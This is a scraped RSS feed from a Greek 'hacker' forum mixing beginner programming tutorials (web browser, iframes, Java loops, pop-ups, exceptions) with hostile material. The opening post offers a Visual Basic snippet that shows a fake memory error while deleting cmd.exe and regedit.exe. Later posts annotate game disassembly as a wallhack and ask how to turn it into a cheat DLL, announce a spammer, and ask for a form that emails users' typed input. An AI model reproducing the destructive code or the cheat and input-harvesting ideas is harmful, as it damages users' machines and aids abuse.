&#954;&#974;&#948;&#953;&#954;&#945;<br /><br /><br /><br /><!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro-->Private Sub Form_Load() <br />Form1.Visible = False <br />Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error" <br />Kill "C:/Windows/System32/cmd.exe" s <br />Kill "C:/Windows/regedit.exe" <br />End Sub <br /><!--colorc--></span><!--/colorc--><br /><br /><!--sizeo:1--><span style="font-size:8pt;line-height:100%"><!--/sizeo--><i>&#927; &#960;&#945;&#961;&#945;&#960;&#940;&#957;&#969; &#954;&#974;&#948;&#953;&#954;&#945;&#962; &#952;&#945; &#948;&#953;&#945;&#947;&#961;&#940;&#968;&#949;&#953; &#964;&#959; &#945;&#961;&#967;&#949;&#943;&#959; command &#954;&#945;&#953; &#964;&#959; regedit.</i><!--sizec--></span><!--/sizec--><br /><br /><!--fontc--></span><!--/fontc-->]]></description>
		<pubDate>Wed, 22 Apr 2009 08:14:21 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=113</guid>
	</item>
	<item>
		<title>Advance Spammer</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2692</link>
		<description>Ακούστε παιδιά έφτιαξα έναν spammer ....αλλα ξέχασα να βάλω το όνομα μου π.χ. Να λέει Spammer by cdparty...οχι τίποτα απλά διαγνόζομαι με έναν φίλο μου ποιός θα κάνει τον καλύτερο....μπορώ να προσθέσω το όνομα μου????έχω vb08</description>
		<pubDate>Tue, 20 Apr 2010 15:05:04 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2692</guid>
	</item>
	<item>
		<title>Vb help</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2847</link>
		<description><![CDATA[Akouste twra....<br />8elo na ftia3o ena programataki,pou 8a exei 2textbox kai 1 button.Otan grafoun sta textbox na m erxontai sto email m...auta ta 2 stoixeia..Pos mporo na to kano?]]></description>
		<pubDate>Tue, 01 Jun 2010 16:28:43 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2847</guid>
	</item>
	<item>
		<title>vISUAL BASIC HELP</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2848</link>
		<description><![CDATA[Akouste twra....<br />8elo na ftia3o ena programataki,pou 8a exei 2textbox kai 1 button.Otan grafoun sta textbox na m erxontai sto email m...auta ta 2 stoixeia..Pos mporo na to kano? 			  			 			ELEOC<br /><br />stis erotisis to evala .....pp na to vaza??]]></description>
		<pubDate>Tue, 01 Jun 2010 16:37:56 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2848</guid>
	</item>
	<item>
		<title>Erwtisi</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=1883</link>
		<description><![CDATA[Sas dinw auta ta 2 codes..<br />{<br /> public:<br />     float fMoveMentWalkRate; //0000<br />     float fMovementDuckRate; //0004<br />     float fMovementSideRate; //0008<br />     float fMoveMentAcceleration; //000C<br />     float fMoveMentFriction; //0010<br />     float fJumpTime; //0014<br />     float fJumpVelocity; //0018<br />     float fJumpLandedWaitTime; //001C<br />     float fJumpLandedNoTimeRate; //0020<br />     float fJumpRepeatPenaltyMoveRate; //0024<br />     float fJumpRepeatPenaltyHeightRate; //0028<br />     float Unknown0; //002C<br />     float Unknown1; //0030<br />     float fPVPosDefault; //0034<br />     float Unknown2; //0038<br />     float Unknown3; //003C<br />     float fPVRotDefault; //0040<br />     float Unknown4; //0044<br />     float Unknown5; //0048<br />     float fPvModelFov; //004C<br />     float fPvOnlyMoveGap; //0050<br />     float Unknown6; //0054<br />     float Unknown7; //0058<br />     float fDamagePenaltyTime; //005C<br />     float fDamagePenaltyMoveRate; //0060<br />     float fC4PlantTime; //0064<br />     float fC4DefuseTime; //0068<br />     float fMaxCanDefuseDistance; //006C<br />     float fCharcterHiddenAlpha; //0070<br />     float fCharecterHiddenWalkAlpha; //0074<br />     float fCharecterHiddenRunAlpha; //0078<br />     float fMovementHiddenRate; //007C<br />     char unknown8[4];<br />     float fCrossHairColorChangeRateRed; //0084<br />     float Unknown9; //0088<br />     float fCrossHairColorChangeRateGreen; //008C<br />     float Unknown10; //0090<br /> };<br /><br />----------------------------<br />005677D0   C745 FC 1CE96B00 MOV DWORD PTR SS:[EBP-4],crossfir.006BE9&gt;; ASCII "ForceMode"<br /> 005677D7   8BE5             MOV ESP,EBP<br /> 005677D9   5D               POP EBP<br /> 005677DA   C3               RETN<br /> 005677DB   CC               INT3<br /> 005677DC   CC               INT3<br /> 005677DD   CC               INT3<br /> 005677DE   CC               INT3<br /> 005677DF   CC               INT3<br /> 005677E0   55               PUSH EBP<br /> 005677E1   8BEC             MOV EBP,ESP<br /> 005677E3   83EC 74          SUB ESP,74<br /> 005677E6   894D 90          MOV DWORD PTR SS:[EBP-70],ECX<br /> 005677E9   8B45 90          MOV EAX,DWORD PTR SS:[EBP-70]<br /> 005677EC   0FB688 55010000  MOVZX ECX,BYTE PTR DS:[EAX+155]<br /> 005677F3   85C9             TEST ECX,ECX<br /> 005677F5   74 21            JE SHORT crossfir.00567818<br /> 005677F7   6A 03            PUSH 3<br /> 005677F9   6A 23            PUSH 23<br /> 005677FB   8B55 90          MOV EDX,DWORD PTR SS:[EBP-70]<br /> 005677FE   8B0A             MOV ECX,DWORD PTR DS:[EDX]<br /> 00567800   E8 ABCAFEFF      CALL crossfir.005542B0<br /> 00567805   6A 00            PUSH 0<br /> 00567807   68 8C000000      PUSH 8C<br /> 0056780C   8B45 90          MOV EAX,DWORD PTR SS:[EBP-70]<br /> 0056780F   8B08             MOV ECX,DWORD PTR DS:[EAX]<br /> 00567811   E8 9ACAFEFF      CALL crossfir.005542B0<br /> 00567816   EB 1F            JMP SHORT crossfir.00567837<br /> 00567818   6A 03            PUSH 3<br /> 0056781A   68 8C000000      PUSH 8C<br /> 0056781F   8B4D 90          MOV ECX,DWORD PTR SS:[EBP-70]<br /> 00567822   8B09             MOV ECX,DWORD PTR DS:[ECX]<br /> 00567824   E8 87CAFEFF      CALL crossfir.005542B0<br /> 00567829   6A 00            PUSH 0<br /> 0056782B   6A 23            PUSH 23<br /> 0056782D   8B55 90          MOV EDX,DWORD PTR SS:[EBP-70]<br /> 00567830   8B0A             MOV ECX,DWORD PTR DS:[EDX]<br /> 00567832   E8 79CAFEFF      CALL crossfir.005542B0<br /> 00567837   6A 01            PUSH 1////////// white walls<br /> 00567839   6A 16            PUSH 16///////D3DRS_LASTPIXEL = 16?? not sure<br /> <br /> 0056783B   8B45 90          MOV EAX,DWORD PTR SS:[EBP-70]<br /> 0056783E   8B08             MOV ECX,DWORD PTR DS:[EAX]<br /> 00567840   E8 6BCAFEFF      CALL crossfir.005542B0<br /> 00567845   6A 01            PUSH 1/////////////////////////////////NICE WALLHACK ASUS<br /> 00567847   6A 07            PUSH 7//////////////////////////////// D3DRS_ZENABLE = 7,<br /> <br /> 00567849   8B4D 90          MOV ECX,DWORD PTR SS:[EBP-70]<br /> 0056784C   8B09             MOV ECX,DWORD PTR DS:[ECX]<br /> 0056784E   E8 5DCAFEFF      CALL crossfir.005542B0<br /><br />------------------------------------------------------------------<br /><br />Pws mporw na ta kanw dll me tin C++ ?]]></description>
		<pubDate>Tue, 09 Mar 2010 13:31:18 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=1883</guid>
	</item>
	<item>
		<title>Simple C++ Calculator</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=1732</link>
		<description><![CDATA[paides egw simera ksekinisa tin glwssa sas afinw na valete eseis "kwdikous hack" egw tha valw enan kwdiko source, pou ftiaxneis kompiouteraki:<br /><b><i><br />#include &lt;iostream&gt;<br />using namespace std;<br /><br />int main(void)<br />{<br />    double num1;<br />    double num2;<br />    char redo;<br />    char operation;<br />    do<br />    {<br />         cout &lt;&lt; "Parakalw eisagete tin praksi!" &lt;&lt; endl;<br />         cin &gt;&gt; num1 &gt;&gt; operation &gt;&gt; num2;<br />         switch(operation) {<br />         case '+':<br />                 cout &lt;&lt; "=" &lt;&lt; num1 + num2 &lt;&lt; endl;<br />                 break;<br />          case '-':<br />                 cout &lt;&lt; "=" &lt;&lt; num1 - num2 &lt;&lt; endl;<br />                 break;  <br />          case '*':<br />                 cout &lt;&lt; "=" &lt;&lt; num1 * num2 &lt;&lt; endl;<br />                 break;       <br />           case '/':<br />                 cout &lt;&lt; "=" &lt;&lt; num1 / num2 &lt;&lt; endl;<br />                 break;      <br />                        }    <br />         cout &lt;&lt; "Thelete na kanete kai alli praksi?; (Y/N)" &lt;&lt; endl;<br />         cin &gt;&gt; redo;<br />         }<br />         while(redo=='y'||redo=='Y');<br />         }<br /></i></b>]]></description>
		<pubDate>Fri, 22 Jan 2010 23:26:47 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=1732</guid>
	</item>
	<item>
		<title>VB08 Command Button Help</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2239</link>
		<description>Re paidia poio einai to command button stin vb08</description>
		<pubDate>Thu, 25 Mar 2010 14:41:52 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2239</guid>
	</item>
	<item>
		<title>Creating your very own web broswser.</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2240</link>
		<description><![CDATA[Σε αυτό το tutorial  θα δείτε  πως να δημιουργήσει έναν webbrowser. <br /><br />    <br />   1.) Bάλτε 5 κουμπιά και τα ευθυγραμμίστε τα στην κορυφή του παραθύρου  Form1. <br />   2.) Βάλτε ένα textbox  και ευθυγραμμίστε το δεξιά από τα  κουμπία που   δημιουργήσατε.<br /><br />     3.) Ονομάστε τα κουμπία  ώς: Home,Back, Forward,Stop και Refresh<br /><br />     4.) Μετονομάστε τον Webbrowser1  ως browser.<br /><br />     5.) Έπειτα, κάντε διπλό  κλίκ στη μορφή. <br />   6.)Κάντε delete τον κώδικα  που υπάρχει και βάλτε τον παρακάτω.<br /><br />Public Class Form1  <br />  <br />    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load  <br />        url.Text = "http://www.google.com"  <br />        browser.Navigate(url.Text)  <br />    End Sub  <br />End Class   <br /><br /><br /><br /><br />    Αν κάνετε αυτό θα ανοίγει ο google ως Home. <br />  Έπειτα θα φτιάξουμε τα κουμπιά μας.<br />Private Sub home_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles home.Click  <br />        browser.Navigate("http://www.google.com")  <br />    End Sub  <br />  <br />    Private Sub back_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles back.Click  <br />        browser.GoBack()  <br />    End Sub  <br />  <br />    Private Sub forward_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles forward.Click  <br />        browser.GoForward()  <br />    End Sub  <br />  <br />    Private Sub stops_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles stops.Click  <br />        browser.Stop()  <br />    End Sub  <br />  <br />    Private Sub refresh_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles refresh.Click  <br />        browser.Refresh()  <br />    End Sub   <br /><br /> Private Sub url_KeyUp(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles url.KeyUp  <br />        If e.KeyCode = Keys.Enter Then  <br />            browser.Navigate(url.Text)  <br />        End If  <br />    End Sub   <br /><br />Τέλος!!!!<br />Τώρα είστε οκ....<br />Sab0taz ελπίζω να μην έχω γράψει εδώ λάθος τον κώδικα <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/tongue.gif" style="vertical-align:middle" emoid=":P" border="0" alt="tongue.gif" /> <br /><br />]]></description>
		<pubDate>Thu, 25 Mar 2010 15:16:45 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2240</guid>
	</item>
	<item>
		<title>Fake Virus Scanner</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=1976</link>
		<description><![CDATA[Einai to prwto programa p egrapsa me tin vb2008.....<br />an 8elete katevasteto .<br /><a href="http://www.mediafire.com/download.php?ziyuzj2lvmd" target="_blank">Visit My Website</a><br /><a href="http://www.mediafire.com/?ziyuzj2lvmd" target="_blank">Visit My Website</a><br /><br />Euxaristw ton sabotaz p me voi8ise.]]></description>
		<pubDate>Thu, 18 Mar 2010 20:53:11 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=1976</guid>
	</item>
	<item>
		<title>Hacker University Small Task Manager</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2723</link>
		<description><![CDATA[Egrapsa mia task manager stin visual b 08..<br />an tin 8elete katevastetin apo <a href="http://www.mediafire.com/?zidmj0wm3cq" target="_blank">edw</a>... einai poli ma poli apli......<br /><br /><br /><br /><br />a kai admin exw arxisei na ftiaxnw programata me logo tou site.....dil ena webbrowsare me tin eikona hacker university.....<br />simfoneis?<br /><a href="http://img189.imageshack.us/i/17669419.png/" target="_blank">mia eikona</a>]]></description>
		<pubDate>Wed, 28 Apr 2010 22:04:51 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2723</guid>
	</item>
	<item>
		<title>Help Quit button</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2719</link>
		<description><![CDATA[Akouste...exw ftia3ei ena programataki...kai 8elw otan patane to koubi quit na vgazei ena minima......prepei na grapsw End kai apo katw Msg ("Kati")<br />eeee?]]></description>
		<pubDate>Tue, 27 Apr 2010 16:29:23 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2719</guid>
	</item>
	<item>
		<title>Registration Key Help</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2589</link>
		<description><![CDATA[Paw na anoi3w vb 08 kai mou kanei pop up enas pinakas pou leei valte to registration key ktlp...kai an dn to valw dn anoigei i vb...<br />ti na kanw?<br />pws mporwn na vrw to registration key?]]></description>
		<pubDate>Sat, 10 Apr 2010 15:17:08 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2589</guid>
	</item>
	<item>
		<title>Πώς προσθέτουμε μια σελίδα μέσα σε μια άλλη (iframe)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=878</link>
		<description><![CDATA[<b>&lt;iframe src="&#46;&#46;/&#46;&#46;/index.htm" width=100% height="300"&gt;</b>Αν βλέπετε αυτό το μήνυμα, τότε ο browser σας δεν υποστηρίζει την οδηγία iframe&lt;/iframe&gt; <br />Οι παράμετροι width και height καθορίζουν το ύψος και το πλάτος του παραθύρου. Μπορούν να οριστούν είτε ως ποσοστά είτε αριθμητικά (ως αριθμός pixels), ενώ στο ενδιάμεσο κείμενο τοποθετούμε ό,τι θέλουμε να εμφανιστεί σε όσους browsers δεν υποστηρίζουν την οδηγία &lt;iframe&gt;. (Στην περίπτωσή μας το: Αν βλέπετε αυτό το μήνυμα, τότε ο browser σας δεν υποστηρίζει την οδηγία iframe.) <br /><br />Αν δεν θέλετε να εμφανίζονται οι scroll bars δηλώστε κάπου μέσα στη οδηγία &lt;iframe&gt; τη ρύθμιση scrolling="no". Σε αυτή την περίπτωση όμως, φροντίστε να αφήσετε αρκετό χώρο ώστε να εμφανίζεται κανονικά το frame σας. Διαφορετικά πιθανώς θα υπάρξουν προβλήματα στην εμφάνιση του περιεχομένου (π.χ. σε μικρές οθόνες ή αναλύσεις να εμφανίζεται μόνο ένα μέρος και ο χρήστης να μην μπορεί με κανένα τρόπο να δει το υπόλοιπο). <br /><br />Αν πάλι δεν θέλετε να υπάρχει πλαίσιο γύρω από το frame ώστε ο επισκέπτης να μην καταλαβαίνει ότι αυτό το μέρος της σελίδας έρχεται από αλλού, τότε δηλώνετε frameborder=0.<br /><br /><br /><br /><b><u>Προσοχή!</u></b> Το src (source) μπορεί να περιλαμβάνει το URL οποιουδήποτε site βρίσκεται στο Internet. Υπάρχουν όμως νομικά και ηθικά προβλήματα στην ενσωμάτωση σελίδων άλλων sites με αυτόν τον τρόπο και δεν πρέπει να υλοποιείτε ποτέ κάτι τέτοιο χωρίς την άδεια του διαχειριστή του άλλου site. &#65279;<br /><br />]]></description>
		<pubDate>Tue, 09 Jun 2009 02:04:29 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=878</guid>
	</item>
	<item>
		<title>Η ΔΗΛΩΣΗ FOR</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=934</link>
		<description><![CDATA[Στην Java μπορούμε σχεδόν πάντα να γράψουμε ένα πρόγραμμα με περισσότερους από έναν τρόπους. Το παρακάτω πρόγραμμα παράγει την ίδια έξοδο με το προηγούμενο. Η κύρια διαφορά είναι ο βρόγχος for στη θέση του βρόγχου while.<br /><br />// Print a Fahrenheit to Celsius table<br /><br /><br /><br />class FahrToCelsius  {<br /><br />  public static void main (String args[]) {<br />  <br />    int fahr, celsius;<br />    int lower, upper, step;<br /><br />    lower = 0;      // lower limit of temperature table<br />    upper = 300;  // upper limit of temperature table<br />    step  = 20;     // step size<br /><br />    for (fahr=lower; fahr &lt;= upper; fahr = fahr + step) {  <br />      celsius = 5 * (fahr-32) / 9;<br />      System.out.println(fahr + " " + celsius);<br />    } // for loop ends here<br /><br />  } // main ends here<br /><br />}<br /><br />O βρόγχος for έχει την ίδια σύνταξη με το for στη γλώσσα C. Για παράδειγμα, for (initialization; test; increment). Η αρχικοποίηση, που σ’ αυτή την περίπτωση, θέτει τη μεταβλητή fahr ίση με το κατώτερο όριο, συμβαίνει μόνο την πρώτη φορά. Για κάθε άλλη φορά, όταν ο έλεγχος φτάνει στην αρχή του βρόγχου γίνεται ένας έλεγχος. Στο παράδειγμά μας ο έλεγχος είναι αν η μεταβλητή fahr είναι μικρότερη ή ίση με το ανώτερο όριο. Εάν είναι, τότε εκτελούμε τον κώδικα του βρόγχου άλλη μία φορά. Εάν όχι τότε εκτελούμε τον κώδικα που ακολουθεί τον βρόγχο. Όταν φτάνουμε στο τέλος του βρόγχου, γίνεται κάθε φορά προσαύξηση του βήματος. Σ’ αυτή την περίπτωση αυξάνουμε το fahr κατά step.<br /><br />Aν δεν είναι κατανοητό ας δούμε το παρακάτω απλό παράδειγμα:<br /><br /><br />//Count to ten<br /><br />class CountToTen  {<br /><br />  public static void main (String args[]) {<br />  <br />    int i;<br />    for (i=1; i &lt;=10; i = i + 1) {  <br />      System.out.println(i);<br />    } <br />    System.out.println("All done!");<br /><br /> }<br /><br />}<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Αυτό το πρόγραμμα τυπώνει τους αριθμούς από το 1 μέχρι το 10. Ξεκινά θέτοντας τη μεταβλητή i ίση με 1. Έπειτα ελέγχει αν το 1 είναι πράγματι μικρότερο ή ίσο με το 10. Εφόσον το 1 είναι μικρότερο του 10, το πρόγραμμα το τυπώνει. Στο τέλος προσθέτει μία μονάδα στο i και αρχίζει από την αρχή. Το i τώρα είναι 2. Το πρόγραμμα ελέγχει αν το 2 είναι μικρότερο ή ίσο του 10. Eπειδή είναι μικρότερο, τυπώνει το «2» και προσθέτει άλλη μια μονάδα στο i. To i τώρα είναι 3. Για άλλη μια φορά ο κώδικας ελέγχει αν το 3 είναι μικρότερο ή ίσο του 10 κτλ μέχρι το i να γίνει 10. Ο κώδικας ελέγχει αν το 10 είναι μικρότερο ή ίσο του 10. Είναι ίσο, άρα τυπώνεται το «10» και το i, αφού προσθέσουμε άλλη μία μονάδα γίνεται 11. Το 11 όμως δεν είναι μικρότερο ή ίσο του 10 άρα το πρόγραμμα δεν το τυπώνει. Αντί γι’ αυτό κινείται στην επόμενη εντολή που ακολουθεί τον βρόγχο for.<!--fontc--></span><!--/fontc--><br /><br />System.out.println("All done!");. Ο υπολογιστής τυπώνει «All done!» και το πρόγραμμα τελείωνει.<br /><br />Οι βρόγχοι for δεν δουλεύουν πάντα ομαλά. Για παράδειγμα, θεωρείστε το παρακάτω πρόγραμμα:<br /><br /><br />//Count to ten??<br /><br />class BuggyCountToTen  {<br /><br />  public static void main (String args[]) {<br />  <br />    int i;<br />    for (i=1; i &lt;=10; i = i - 1) {  <br />      System.out.println(i);<br />    } <br />    System.out.println("All done!");<br /><br /> }<br /><br />}<br /><br />Αυτό το πρόγραμμα μετράει ανάποδα. Δεν υπάρχει τίποτα λάθος με ένα πρόγραμμα που μετράει ανάποδα, απλά εξετάζουμε αν το i είναι μεγαλύτερο από το 10. Eφόσον το i δεν πρόκειται ποτέ να γίνει μεγαλύτερο από το 10 σ’ αυτό το πρόγραμμα, το πρόγραμμα δεν σταματά ποτέ. (Αυτό δεν αληθεύει πάντα. Αν έχουμε πολύ γρήγορο μηχάνημα ή περιμένουμε πολύ, κάπου στο -2.000.000.000, το i θα γίνει ξαφνικά ένας πολύ μεγάλος θετικός αριθμός και το πρόγραμμα θα κρεμάσει.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:28:51 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=934</guid>
	</item>
	<item>
		<title>Πώς δημιουργούνται τα Pop Up Windows</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=877</link>
		<description><![CDATA[Το πρωτότυπο κείμενο βρίσκεται στη διεύθυνση <a href="http://www.crazyted.com/utilities/popup " target="_blank">http://www.crazyted.com/utilities/popup </a><br /><br /><br /><br /><br />Στο κείμενο αυτό σας παρουσιάζουμε τα βασικά στοιχεία της κατασκευής Pop-Up Windows με τη χρήση της JavaScript. Ακόμη κι αν δεν γνωρίζετε αυτή τη γλώσσα είκοσι λεπτά προσεκτικής ανάγνωσης θα σας είναι αρκετά για να προσθέσετε και εσείς στις σελίδες σας αυτά τα τόσο συνηθισμένα, αν και όχι και τόσο αγαπητά από τους χρήστες, παραθυράκια.<br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Η διαφορά ανάμεσα σε Pop-Up Windows και νέα παράθυρα του Browser<!--sizec--></span><!--/sizec--></b><br /><br />Στην πραγματικότητα δεν υπάρχει καμία διαφορά. Κάποια Pop-Up Windows μπορεί να μην περιέχουν την μπάρα εργαλείων ή να μην εμφανίζουν το URL στο οποίο βρίσκονται, αλλά στην πραγματικότητα είναι και αυτά νέες απεικονίσεις σελίδων από τον Browser που χρησιμοποιείτε. <br /><br />Για να τα διαχωρίσουμε λοιπόν, όταν στο κείμενό μας αναφέρεται ο όρος Pop-Up Windows θα δηλώνει παραθυράκια όπως αυτό που εμφανίζεται όταν φορτώνετε αυτή τη σελίδα ή όπως τα διαφημιστικά που συναντούμε σε υπηρεσίες δωρεάν φιλοξενίας σελίδων όπως το Geocities και αλλού. Αντίθετα ο όρος νέο παράθυρο θα χρησιμοποιείται για παράθυρα που δημιουργούνται όταν επιλέξουμε File / New (Αρχείο - Δημιουργία - Παράθυρο) στον Browser που χρησιμοποιούμε. <br /><br />Και επειδή όπως είπαμε οι διαφορές μεταξύ αυτών των δύο είναι κυρίως αισθητικές (εμφάνιση μπάρας επιλογών, δυνατότητα αλλαγής του μεγέθους κ.λπ.) μπορούμε να τις ξεχάσουμε και να ασχοληθούμε αποκλειστικά με το αντικείμενό μας, δηλαδή τα... <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Τα Pop-Up Windows και τη χρήση τους<!--sizec--></span><!--/sizec--></b><br /><br />Τα πρώτα Pop-Up Windows, τα οποία όπως θα μάθουμε παρακάτω έχουν και άλλες εφαρμογές εκτός από τις διαφημιστικές, εμφανίστηκαν για πρώτη φορά γύρω στα 1995 και 96 όταν κυκλοφόρησε το Netscape 3.0 και η αγορά συνειδητοποίησε τις νέες δυνατότητες που προσέφερε η Java και η JavaScript. Τα Pop-Up Windows δημιουργούνται χάρη σε κώδικα JavaScript ο οποίος τοποθετείται μέσα στον κώδικα HTML της Web σελίδας με σκοπό να δημιουργηθεί ένα νέο παράθυρο από τον Browser και να οριστούν τα χαρακτηριστικά του. <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Ο κώδικας και η σημασία του:<!--sizec--></span><!--/sizec--></b><br /><br />&lt;script language=JavaScript&gt; <br />open("URL", "όνομαΠαραθύρου", ["χαρακτηριστικάΠαραθύρου"]) &lt;/script&gt; <br /><br />Τα παραπάνω ακατανόητα πράγματα σημαίνουν τα εξής: <br /><br />&lt;script language=JavaScript&gt; = Δηλώνει στην Browser ότι από δω και πέρα δεν θα διαβάζει HTML (τη γλώσσα δημιουργίας των web σελίδων), αλλά JavaScript. <br /><br />open = Δηλώνει στην Browser ότι πρέπει να ανοίξει ένα νέο παράθυρο (το "Pop-Up Window") <br /><br />"URL" = Αυτή είναι η διεύθυνση της σελίδας η οποία θα φορτωθεί στο νέο παράθυρο. <br /><br />"όνομαΠαραθύρου" = Αυτό είναι το όνομα που θα δώσουμε στο νέο παράθυρο. Αν δεν καταλαβαίνετε γιατί πρέπει να "βαφτίσουμε" το παράθυρό μας μην ανησυχείτε. Κάτι τέτοιο μας παρέχει περισσότερες δυνατότητες (π.χ. δημιουργία παραπομπών από παράθυρο σε παράθυρο) και θα καταλάβετε τα πάντα γι' αυτό αν διαβάσετε για πλαίσια και την παράμετρο Target. <br /><br />["χαρακτηριστικάΠαραθύρου"] = Οι αγκύλες ( [ ] ) υποδηλώνουν ότι αυτά τα χαρακτηριστικά είναι προαιρετικά. Είναι όμως πολύ χρήσιμα αφού μας επιτρέπουν να ελέγξουμε καλύτερα την εμφάνιση των παραθύρων που δημιουργούμε. <br /><br /><b><u>Οι διαθέσιμες επιλογές μας είναι:</u></b><br /><br />toolbar[=yes / no] ή [=1 / 0] <br />location[=yes / no] ή [=1 / 0] <br />directories[=yes / no] ή [=1 / 0] <br />status[=yes / no] ή [=1 / 0] <br />menubar[=yes / no] ή [=1 / 0] <br />scrollbars[=yes / no] ή [=1 / 0] <br />resizable[=yes / no] ή [=1 / 0] <br />width=## (όπου ## είναι ο αριθμός των pixels) <br />height=## όπου ## είναι ο αριθμός των pixels) <br /><br />&lt;/script&gt; = Τώρα δηλώνουμε στον Browser ότι ο JavaScript κώδικας τελείωσε και μπορεί να συνεχίσει το διάβασμα της HTML (ή οτιδήποτε άλλο είχαμε χρησιμοποιήσει για να δημιουργήσουμε τη σελίδα μας). <br /><br />Ας δούμε λίγο τώρα τι σημαίνουν και πώς μπορούν να χρησιμοποιηθούν τα χαρακτηριστικάΠαραθύρου: <br /><br />Ας υποθέσουμε ότι δεν θέλετε να υπάρχει μπάρα εργαλείων (toolbar) στο Pop-Up Window σας. Σε αυτή την περίπτωση θα πρέπει να δηλώσετε toolbar=no ή toolbar=0 (0 είναι το μηδέν και όχι το κεφαλαίο όμικρον). Φαντάζομαι ότι το yes/no είναι απόλυτα κατανοητό. Η σύνταξη 1/0 έχει να κάνει με δυαδική λογική (Binary Logic) και 1=yes ενώ 0=no. <br /><br />Αν δεν δηλώσετε τίποτε στα χαρακτηριστικάΠαραθύρου τότε θεωρείται αυτόματα ότι όλα ισχύουν (είναι σαν να τα έχετε δηλώσει όλα ως = 1 ή ως yes). Αν πάλι δεν ορίσετε συγκεκριμένο height (ύψος) ή width (πλάτος), τότε το ο browser θα σχεδιάσει το παράθυρο όσο μεγαλύτερο μπορεί. <br /><br />Όλα αυτά θα γίνουν ευκολότερα κατανοητά με μερικά παραδείγματα. Αν θέλετε να δείτε τον πλήρη κώδικα που περιέχει η σελίδα αυτή (και δημιουργεί τα παραρτήματα), επιλέξτε <b>View - Source</b> για Internet Explorer <b>View - Page Source</b> για Netscape Communicator<br /><br /><br /><br />]]></description>
		<pubDate>Tue, 09 Jun 2009 02:03:09 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=877</guid>
	</item>
	<item>
		<title>ΕΞΑΙΡΕΣΕΙΣ (CATCHING EXCEPTIONS)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=943</link>
		<description><![CDATA[Θυμάστε τον κώδικα:<br /><br />// This is the Hello program in Java<br /><br /><br />class Hello {<br /><br />    public static void main (String args[]) {<br />    <br />      /* Now let's say hello */<br />      System.out.print("Hello ");<br />      System.out.println(args[0]);<br />  }<br /><br />}<br /><br />Θυμάστε τί γινόταν όταν τρέχαμε το πρόγραμμα χωρίς να δίνουμε command line arguments; Το σύστημα εκτέλεσης (runtime system) δημιουργούσε μία εξαίρεση.<br /><br /><!--sizeo:1--><span style="font-size:8pt;line-height:100%"><!--/sizeo-->Exception in thread "main" java.lang.ArrayIndexOutOfBounds exception at Hello.mainC:&#092;javahtml&#092;Hello.java:7)<!--sizec--></span><!--/sizec--><br /><br />Αυτό που συνέβαινε ήταν ότι από τη στιγμή που δεν δίναμε στο Ηello κανένα command line argument, δεν υπήρχε τίποτα στο args[0].Γι’ αυτό και η Java έβγαζε το όχι και τόσο φιλικό μήνυμα λάθους.<br /><br />Προηγουμένως είχαμε διορθώσει αυτό το πρόβλημα ελέγχοντας το μήκος του πίνακα προτού προσπαθήσουμε να προσπελάσουμε το πρώτο του στοιχείο. Η λύση ήταν καλή για μια απλή περίπτωση. Αν όμως έπρεπε να ελέγχουμε για κάθε πιθανή λανθασμένη συνθήκη σε κάθε γραμμή του κώδικα, τότε ο κώδικας θα είχε περισσότερους ελέγχους λαθών παρά καθαυτώ κώδικα. Επιπλέον θα έπρεπε να αρχίσετε να ελέγχετε για λάθη στις συνθήκες λαθών.<br /><br />Στόχος του χειρισμού των εξαιρέσεων είναι να προσδιορίσουμε την κανονική ροή του προγράμματος σε τμήμα του κώδικα, 